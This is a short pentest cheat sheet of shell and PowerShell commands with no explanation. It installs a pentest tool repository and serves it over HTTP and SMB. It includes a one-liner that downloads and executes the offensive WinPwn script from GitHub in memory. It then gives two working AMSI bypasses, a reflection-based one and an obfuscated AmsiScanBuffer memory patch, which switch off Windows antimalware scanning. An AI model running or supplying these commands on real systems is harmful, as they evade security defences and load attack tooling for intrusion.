git clone https://github.com/lefayjey/PentestTools

cd PentestTools
chmod +x install.sh
./install.sh

python3 -m http.server 8000 --directory /opt/PentestTools/

python3 smbserver.py SHARE /opt/PentestTools/ -smb2 -username <user> -password <pass>

IEX ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/lefayjey/PentestTools/master/windows/Offline_WinPwn.ps1'))

# Matt Graebers Reflection method:
$a=[Ref].Assembly.GetTypes(); Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}; $d=$c.GetFields('NonPublic,Static'); Foreach($e in $d) {if ($e.Name -like "*InitFailed") {$f=$e}}; $g=$f.SetValue($null,$true)

#Rasta-mouses Amsi-Scan-Buffer patch
$gqnjw = @"
using System;
using System.Runtime.InteropServices;
public class gqnjw {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr jkbwtd, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $gqnjw

$gcakabp = [gqnjw]::LoadLibrary("$([chAR]([bYTe]0x61)+[ChAR](97+12)+[ChAR]([BYTE]0x73)+[Char]([byTe]0x69)+[CHar]([BYtE]0x2e)+[Char](100)+[ChAR]([Byte]0x6c)+[Char](52+56))")
$qbrbya = [gqnjw]::GetProcAddress($gcakabp, "$(('Ám'+'sí'+'Sc'+'àn'+'Bu'+'ff'+'er').nOrMaLIzE([ChAr]([byTe]0x46)+[cHar](111*34/34)+[ChaR](77+37)+[ChAr](109*35/35)+[CHAr](68)) -replace [chAR]([byTe]0x5c)+[Char]([BYte]0x70)+[cHaR](68+55)+[cHAr]([bYtE]0x4d)+[cHar](110*78/78)+[chAr](119+6))")
$p = 0
[gqnjw]::VirtualProtect($qbrbya, [uint32]5, 0x40, [ref]$p)
$hisv = "0xB8"
$efyl = "0x57"
$yguu = "0x00"
$jpil = "0x07"
$qjad = "0x80"
$rmsx = "0xC3"
$qmnkq = [Byte[]] ($hisv,$efyl,$yguu,$jpil,+$qjad,+$rmsx)
[System.Runtime.InteropServices.Marshal]::Copy($qmnkq, 0, $qbrbya, 6)